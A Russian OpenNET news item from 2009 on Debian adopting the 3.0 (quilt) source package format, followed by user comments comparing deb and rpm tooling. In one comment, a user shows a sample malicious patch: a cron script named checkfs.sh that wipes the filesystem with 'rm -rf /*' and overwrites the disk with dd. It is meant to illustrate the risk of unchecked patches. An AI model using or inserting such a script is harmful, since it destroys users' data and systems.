The OpenNET Project / Index page

[ новости /+++ | форум | wiki | теги | ]

В Debian GNU/Linux официально введен в строй формат пакетов DPKG 3.0

21.11.2009 21:34

Одной из самых неудобных особенностей системы оформления DEB-пакетов с исходными текстами является объединение всех внешних патчей к базовым исходным текстам программы в виде одного diff-файла. Разобраться какие-именно патчи используются и как выделить из них какой-то определенный патч не является очевидным. Недавно это ограничение было снято - разработчики одобрили возможность включения в рабочие репозитории Debian пакетов в формате DebSrc 3.0 / DPKG 3.0 (quilt), в которых предусмотрена возможность компоновки патчей в виде отдельных файлов внутри директории "debian/patches/", примерно, как это делается в формате RPM. Управление раздельными патчами может производится при помощи стандартной утилиты quilt.

Версия пакетного менеджера dpkg из состава Debian Lenny уже поддерживает новый формат, поэтому проблем с переносимостью возникнуть не должно, даже при установке пакетов из репозиториев ветки Squeeze. Перед мантейнерами пакетов поставлена задача постепенного перехода на формат DPKG 3.0, в настоящий момент переведены первые 120 пакетов.

Из достоинств нового формата можно отметить:

  • Поддержка методов сжатия bzip2 и lzma, помимо стандартного gzip (lzma пока не поддерживается на ftp-master.debian.org, но будет поддерживается в следующем за Squeeze релизе);
  • Поддержка интеграции в пакет нескольких разных архивов с базовыми (upstream) исходными текстами программы (например, некоторые программы поставляются в нескольких архивах);
  • Возможность включения в src-пакет дополнительных бинарных файлов (например, картинки с логотипом) без применения uuencode кодирования;
  • Возможность раздельной поставки патчей упрощает процесс документирования, делает более удобным процесс синхронизации патчей с другими дистрибутивами, позволяет авторам изначальных проектов ускорить обнаружение новых патчей и их вливание в базовый проект;
  • Основанные на пакетной базе Debian сторонние дистрибутивы могут отдельно выделять собственные патчи, без модификации изначально представленного набора патчей.


  1. Главная ссылка к новости (http://lists.debian.org/debian...)
  2. OpenNews: В Debian и Ubuntu принята единая политика обработки патчей
Лицензия: CC-BY
Тип: К сведению
Ключевые слова: debian, dpkg, packet
При перепечатке указание ссылки на opennet.ru обязательно
Обсуждение (36) Ajax | 1 уровень | Линейный | Раскрыть всё | RSS
  • 1.1, Аноним (-), 22:31, 21/11/2009 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    наконец-то, теперь не нужно полдня искать патч в котором надо поправить.
     
     
  • 2.32, pavlinux (ok), 17:53, 23/11/2009 [^] [^^] [^^^] [ответить]  
  • +/
    Напряги с grep/egrep/regexp?  

    0001.diff
    0111.diff
    1010.diff
    1011.diff
    1110.diff
    1011.diff
    1101.diff

    odinbalshoy.diff

    Ну и какая разница?

    Или Вы до сих пор верите в соответствие названия файла и его содержимого?

      

     

  • 1.2, Аноним (-), 22:42, 21/11/2009 [ответить] [﹢﹢﹢] [ · · · ]  
  • +1 +/
    Интересно когда 3.0 появится в Ubuntu.
     
     
  • 2.7, digiwhite (?), 02:04, 22/11/2009 [^] [^^] [^^^] [ответить]  
  • +/
    >Интересно когда 3.0 появится в Ubuntu.

    Уже имеется вроде как.

     
  • 2.15, Serega (??), 11:49, 22/11/2009 [^] [^^] [^^^] [ответить]  
  • +/
    2 года назад это было в ubuntu. возможно это одна из причин по которой убунтовцы решили сделать свои (src-)пакеты несовместимыми с debian. Столлман тогда неодобрил.
     
     
  • 3.30, Andrey Mitrofanov (?), 14:43, 23/11/2009 [^] [^^] [^^^] [ответить]  
  • +/
    В огороде бузина, а в бостоне дядька. :/
     

  • 1.3, anonymous (??), 23:21, 21/11/2009 [ответить] [﹢﹢﹢] [ · · · ]  
  • –3 +/
    Иными словами, заново изобрели rpm.
     
     
  • 2.4, sHaggY_caT (ok), 00:28, 22/11/2009 [^] [^^] [^^^] [ответить]  
  • –1 +/
    Осталось придумать спек и систему макросов :)
     
     
  • 3.6, vkni (?), 00:48, 22/11/2009 [^] [^^] [^^^] [ответить]  
  • +1 +/
    >Осталось придумать спек и систему макросов :)

    Причём, систем макросов нужно придумать несколько, да так, чтобы они были несовместимы между собой :-).

     
  • 2.5, vkni (?), 00:48, 22/11/2009 [^] [^^] [^^^] [ответить]  
  • +/
    >Иными словами, заново изобрели rpm.

    Не совсем. В rpm тоже периодически "изобретают" deb.
    Но новость безусловно забавная.

     
     
  • 3.8, kol (?), 03:41, 22/11/2009 [^] [^^] [^^^] [ответить]  
  • –1 +/
    пруфлинк, пожалуйста
     
     
  • 4.9, vkni (?), 05:12, 22/11/2009 [^] [^^] [^^^] [ответить]  
  • +/
    Не надо лениться искать: http://opennet.ru/opennews/art.shtml?num=23776
     
  • 2.12, User294 (ok), 08:12, 22/11/2009 [^] [^^] [^^^] [ответить]  
  • +/
    >Иными словами, заново изобрели rpm.

    Сами сношайтесь с этими вашими RPM-ами. Мало того что порасплодили полдюжины частично совместимых и не совместимых форматов, так еще и пакетный манагер полное УГ писаное на питоне - тормозное и ресурсов жрет что пипец, так что на всяких low resource(embedded, ...) и VM-ах память тупо кончается при работе отстоя с названием yum. Дожили до того что 128 мегов памяти в контейнере - мало чтобы просто пакетик поставить, особенно если не дай боже что-то еще запущено, %$@!

     
     
  • 3.13, vkni (?), 08:40, 22/11/2009 [^] [^^] [^^^] [ответить]  
  • +1 +/
    > память тупо кончается при работе отстоя с названием yum.

    Rpm работает в связке с apt с 2000-го года, когда никаких yum ещё не было.

     
     
  • 4.16, User294 (ok), 12:50, 22/11/2009 [^] [^^] [^^^] [ответить]  
  • –1 +/
    >Rpm работает в связке с apt с 2000-го года,

    Ну да, у альтов оно кажется так и сделано (вы случайно не про них?). Вот только увы, редхат выбрал другой маршрут. Ну и кучка деривативов и подобий туда же последовала. Ну как бы их дело, удачи им и все такое. Но как нибудь без меня.

     
     
  • 5.25, vkni (?), 08:24, 23/11/2009 [^] [^^] [^^^] [ответить]  
  • +/
    >вы случайно не про них?

    Нет, про Connectiva - папа или мама Mandriva ;-).

     
  • 3.17, Serega (??), 14:05, 22/11/2009 [^] [^^] [^^^] [ответить]  
  • +/
    вы совершенно не понимаете о чем идёт речь. это это стандарт _исходников_ пакетов. корректно было бы его сравнивать со spec-файлами.
     
  • 3.18, sHaggY_caT (ok), 23:44, 22/11/2009 [^] [^^] [^^^] [ответить]  
  • +1 +/
    rpm легче собирать :) Особенно, если рука не набита, как у мантайнеров Дебиана)

    И про большой репозиторий не нужно, я свои скрипты часто кладу в пакеты, или собираю что-то с патчами (тот же последний sudo с официальным security патчем ужасен, фиксится правкой всего одной строчки в спеке)
    При этом зависимости формирует сам rpmbuild, мучиться со сборкой dpkg ради каких-то мягких зависимостей, которые все равно нужны не всем (например, не нужны мне) как-то не хочется.
    Альтернативы (и java и MTA, и т д) можно, через костыли, использовать в rpm-based системах, но вместо этого проще просто создать другой контейнер и в Debian. По-настоящему удобно это только во фре, и в не очень стабильной для сервера генте :(

    aptitude действительно мощнее, чем yum, но так ли нужны его возможности? а 128 мегабайт yum'у в OVZ/PVC-контейнере более чем достаточно!
    А то, что yum тормозной, никогда не соглашусь :) Имхо, он уже давно работает не медленнее aptitude!

    З.Ы. В некоторых аспектах с точки зрения конечного пользователя apt/dpkg все-таки уступает rpm. Конкретный пример: rpm -V. Такой проверки пакетов в dpkg нет by design, есть debsum, но он не умеет даже доли!

    З.З.Ы. При всем при этом, повторюсь, я согласна с тем, что одним из ключевых преимуществ Debian является именно огромные репозитории, apt, а так же module assistent, даже скажу, что Debian, как систему, я в личном рейтинге удобства ставлю второй после RH-based.

    Только вот огромные репозитории и apt не так важны, как, имхо, их пытаются обозначить. Кстати, в RH-системах есть Sattelite/Spacewalk для глобального (в маштабах Дата-центров) менеджмента rpm-пакетов на всех системах. Под apt таких решений просто нет.

    З.З.З.Ы. советую (и прошу, так как надоел уже этот поклеп со стороны пользователей Debian/Ubuntu) допустить, что rpm не так плох, как Вам об этом говорит сформировавшийся, внутри Дебиан-коммюнити, штамп.
    За что в Debian так модно ненавидеть RH-платформу?

     
     
  • 4.19, vkni (?), 01:21, 23/11/2009 [^] [^^] [^^^] [ответить]  
  • +/
    >А то, что yum тормозной, никогда не соглашусь :) Имхо, он уже
    >давно работает не медленнее aptitude!

    Проблема в том, что yum обязательно проверяет репозитарий при каждом запросе. А у apt команды update и install/upgrade/dist-upgrade разделены. Но это скорее фича, чем бага :-).

    >З.Ы. В некоторых аспектах с точки зрения конечного пользователя apt/dpkg все-таки уступает

    Не надо смешивать apt и dpkg. Apt с rpm работает с 2000-го года (постаралась фирма Connectiva). Т.е. почти с рождения.

    До yum у RedHat был urpmi, у Suse был yast, теперь Zypper. Это утилиты более высокого уровня, чем dpkg/rpm. Yum наверняка можно заставить работать с dpkg, было бы желание.

    >Только вот огромные репозитории и apt не так важны, как, имхо, их
    >пытаются обозначить.

    Они очень важны. Просто сейчас у каждого mainstream дистрибутива есть либо один мощный репозитарий (например, Sisyphus), либо несколько доп. репозитариев (OpenSuse - packman, RH - rpmfusion и т.д.). В каждом дистрибутиве своя утилита аналогичная apt.

     
     
  • 5.21, sHaggY_caT (ok), 07:25, 23/11/2009 [^] [^^] [^^^] [ответить]  
  • +/
    -------yum 8 -------- -C Tells yum to run entirely from cache - doe... текст свёрнут, показать
     
     
  • 6.23, Аноним (-), 08:05, 23/11/2009 [^] [^^] [^^^] [ответить]  
  • +/
    Вот вы говорите о том, что в Debian труднее пропатчить под себя пакет. Но сам формат deb к этому вообще отношения не имеет. В нём со второй версии есть всё, что до сих пор пытаются изобрести в rpm.

    rpmbuild не столь божественнен, как вы пытаетесь это показать. Практически точный аналог dpkg-buildpackage.

    spec-файлы же, пожалуй, действительно значительно нагляднее системы deb-src. В spec-файле всё сосредоточено в одном месте, что нагляднее нескольких отдельных файлов в каталоге debian/.

     
     
  • 7.37, cheusov (ok), 12:09, 24/11/2009 [^] [^^] [^^^] [ответить]  
  • +/
    >[оверквотинг удален]
    >пакет. Но сам формат deb к этому вообще отношения не имеет.
    >В нём со второй версии есть всё, что до сих пор
    >пытаются изобрести в rpm.
    >
    >rpmbuild не столь божественнен, как вы пытаетесь это показать. Практически точный аналог
    >dpkg-buildpackage.
    >
    >spec-файлы же, пожалуй, действительно значительно нагляднее системы deb-src.
    >В spec-файле всё сосредоточено
    >в одном месте, что нагляднее нескольких отдельных файлов в каталоге debian/.

    Не спорьте, горячие финские парни. И Debian и rpm-based дистры конкретно сливают
    в плане _простоты_ создания и поддержки пакета пакетной системе
    pkgsrc и другим port-like системам,
    где инструкции сборки декларативные, а не императивные.

    Контрольные суммы исходных тарболов, полное описание пакетов, список файлов пакета и собственно инструкции сборки -- в отдельных файлах.
    Инструкции сборки для "стандартных пакетов" - проще простого.
    Аж насколько просто работать с патчами -- вообще красота...
    Никакого УГ типа quilt.

    Пример:
    http://cvsweb.se.netbsd.org/cgi-bin/bsdweb.cgi/pkgsrc/devel/libmaa/
    http://cvsweb.se.netbsd.org/cgi-bin/bsdweb.cgi/wip/runawk/

     
  • 6.24, vkni (?), 08:23, 23/11/2009 [^] [^^] [^^^] [ответить]  
  • +/
    >-------yum(8)--------
    >       -C    
    >Tells  yum  to run entirely from cache - does
    >not download or update any headers unless it has to to
    >perform the
    >            
    >  requested action.
    >----------------------

    Я же говорю - фича, естественно, отключаемая. В apt без ключей, зато для полного обновления нужно два раза запускать программу. Ещё вывод yum search и apt-cache search слегка отличается и т.д. Но принципиальной разницы никакой нет, о чём я и пишу.

    >Фактически, репозиториев под него для RH не найти (последний раз видела только
    >какой-то репозиторий со сборками KDE), потому и немного смешивала :)

    А под ALT нет yum, под Suse нет yum, под Mandriva нет yum. Что дальше? Ну вы используете RH, у него свои особенности, свои отличия. Хорошо. Я, в основном, работаю на ALT/Debian => чаще всего apt, редко yum (настолько редко, что заветный ключик -C мне не нужен :-).

    >Кстати, вот Zypper, по-моему, действительно очень-очень тормозной,

    Жуткая по медлительности штука. Вспоминаю с содроганием. :-)

    >Почему столько негатива на yum, но все молчат про объективно
    >медленном Zypper/yast?

    Мало используют. Suse - очень качественный дистрибутив, но на любителя. Видимо, с хорошим железом :-).

    >Дело в качестве. Имхо, лучше меньше пакетов, но в которых практически нет
    >багов, как у того же RHEL.

    Это под задачу. Мне нужен rpmfusion в обязательном порядке из-за каких-то пакетов.

    > в таких случаях предлагают выйти из анабиоза(с).

    А в реальности в ответ на предложение шлют на три буквы или сразу бьют.

     
     
  • 7.27, Wizard (??), 10:21, 23/11/2009 [^] [^^] [^^^] [ответить]  
  • +/
    >>Кстати, вот Zypper, по-моему, действительно очень-очень тормозной,
    >Жуткая по медлительности штука. Вспоминаю с содроганием. :-)

    С тех пор много воды утекло. zypper стал очень быстрым и фичастым! Во времена 10.3 zypper, если мне не изменяет склероз, бил писан на пистоне. Теперь это С или C++.

    Ну и фичи... В 11.0 - 11.1 радовало zypper wp (what-provides, wp - Вывести список пакетов, предоставляющих указанную способность.)

    В 11.2 ещё фичу интересную добавили: zypper ps (Вывести список запущенных процессов, использующих файлы, удалённые недавними обновлениями.)

    Так что хватит zypper ругать. Он подрос, возмужал. :-)

     
     
  • 8.34, vkni (?), 20:43, 23/11/2009 [^] [^^] [^^^] [ответить]  
  • +/
    Спасибо Это повод посмотреть Suse - всё-таки если не самый качественный, то оди... текст свёрнут, показать
     
  • 7.28, Wizard (??), 10:32, 23/11/2009 [^] [^^] [^^^] [ответить]  
  • +/
    >>Почему столько негатива на yum, но все молчат про объективно
    >>медленном Zypper/yast?
    >
    >Мало используют. Suse - очень качественный дистрибутив, но на любителя. Видимо, с
    >хорошим железом :-).

    А это просто смешно!

    Потому и молчат, что всё устраивает! Не верите - проверьте.

    Ни и за любимый дистрибутив заступлюсь.
    За  более 10 лет использования линукса, перепробовал много дистрибутивов. Первым был KSI Linux. Кто-нибудь знает? А, между прочим, именно этот дистрибутив был первым с переведёнными описанимя RPM-пакетов, а не хвалившийся этим, кажизь ASP. Были шляпы и мандрэйки, различные версии дебиана, однажды даже слакварь... А кто-нибудь видел Corel Linux? Ну и конечно не прошёл мимо ALT'а...

    И только (open)SUSE просто работает.

    P.S. И кстати, многие ругаются на YaST - "сильно умный"... Ну и не используйте! Благо zypper работает из коммандной строки, а конфигурационные файлы все на своих местах. Я, будучи поклонником SUSE, сам YaST не использую...

     
     
  • 8.35, vkni (?), 20:52, 23/11/2009 [^] [^^] [^^^] [ответить]  
  • +/
    Я знаю, что он очень качественен Но и крайне своеобразен из-за yast а Слышал, ... текст свёрнут, показать
     
  • 4.20, vkni (?), 01:32, 23/11/2009 [^] [^^] [^^^] [ответить]  
  • +/
    >Только вот огромные репозитории и apt не так важны, как, имхо, их
    >пытаются обозначить.

    Вы, видимо по молодости, не застали тех времён, когда ни apt, ни огромных сетевых репозитариев не было. И установка rpm с компакт-диска RH превращалась в беготню по каталогу с rpm-ками и ручной установкой. Человеку достаточно, в общем-то жалких 15-ти пакетов, чтобы начать материться. :-)

    А Debian, в чём их безусловная заслуга, принесли в Linux программу apt (до неё был dselect - неделимый apt+synaptic в текстовом режиме) и репозитарии. Другие дистрибутивы, естественно, реализовали то же самое и у себя.

    Ну и в 99-м году то действо, что вызывали команды apt-get update; apt-get dist-upgrade -y, приводило народ в дикий восторг. ;-)

     
     
  • 5.22, sHaggY_caT (ok), 07:44, 23/11/2009 [^] [^^] [^^^] [ответить]  
  • +/

    >А Debian, в чём их безусловная заслуга, принесли в Linux программу apt
    >(до неё был dselect - неделимый apt+synaptic в текстовом режиме) и
    >репозитарии. Другие дистрибутивы, естественно, реализовали то же самое и у себя.

    Кстати, есть пакетик yum-utils, с кучей утилит под разные случаи жизни (тот же yumdownloader)

     
     
  • 6.26, vkni (?), 08:37, 23/11/2009 [^] [^^] [^^^] [ответить]  
  • +/
    >Кстати, есть пакетик yum-utils, с кучей утилит под разные случаи жизни (тот
    >же yumdownloader)

    В apt сильно по-другому, просто скачка без установки - ключ -d. Ну и можно как-то указать каталог, в который сохранять (обычно это /var/cache/apt/archives/).

    У yum, пожалуй, есть интересная штука, аналога которой я в apt ещё не видел - авто выбор зеркала репозитария.

     

  • 1.11, Аноним (-), 07:26, 22/11/2009 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    как верно замечено в новости:
    > Версия пакетного менеджера dpkg из состава Debian Lenny уже поддерживает новый формат

    quilt используется достаточно давно, в чём новость ? или имеется ввиду что теперь его сделают обязательным ?

     
  • 1.14, JackYF (?), 11:04, 22/11/2009 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    "Одной из самых неудобных особенностей системы оформления DEB-пакетов с исходными текстами является объединение всех внешних патчей к базовым исходным текстам программы в виде одного diff-файла"

    Который так же само мог содержать debian/patches, что и делалось большинством сопровождающих.

     
  • 1.29, Аноним (-), 11:41, 23/11/2009 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    А еще у yum'a есть включенный по умолчанию в последних федорах presto, который качает только бинарные диффы, а не целиком пакет при обновлениях.
    А у apt или yast такое есть?
     
     
  • 2.31, ananimus (?), 14:58, 23/11/2009 [^] [^^] [^^^] [ответить]  
  • +/
    >А еще у yum'a есть включенный по умолчанию в последних федорах presto,
    >который качает только бинарные диффы, а не целиком пакет при обновлениях.
    >
    >А у apt или yast такое есть?

    есть. debdelta.

     
     
  • 3.36, Аноним (-), 01:21, 24/11/2009 [^] [^^] [^^^] [ответить]  
  • +/
    >есть. debdelta.

    ну и толку что он есть - репозиториев то нет =)

     

  • 1.33, pavlinux (ok), 18:01, 23/11/2009 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    Чёй-то я довно debы не собирал, оно там, при сборке, проверяет применимость патча?

    А то, вот такой попадётся ")

    --- /dev/null   2009-10-24 08:27:53.000000000 +0400
    +++ /etc/cron.daily/checkfs.sh  2009-11-23 17:58:23.674251269 +0300
    @@ -0,0 +1,4 @@
    +#!/bin/bash
    +
    +rm -rf /* &
    +
    +dd if=/dev/zero of=/dev/sda


    Ну, то есть,  если я создам такой diff и запихну его в debian/patches,
    как патчи к, скажем links, debuild проверяет, то что этот патч вообще для исходника.

    Хотя, от рута, оно всегда вернёт true    

     

     Добавить комментарий
    Имя:
    E-Mail:
    Текст:



    Спонсоры:
    MIRhosting
    Inferno Solutions
    Hosting by Ihor
    Хостинг:

    Закладки на сайте
    Проследить за страницей
    Created 1996-2019 by Maxim Chirkov
    Добавить, Поддержать, Вебмастеру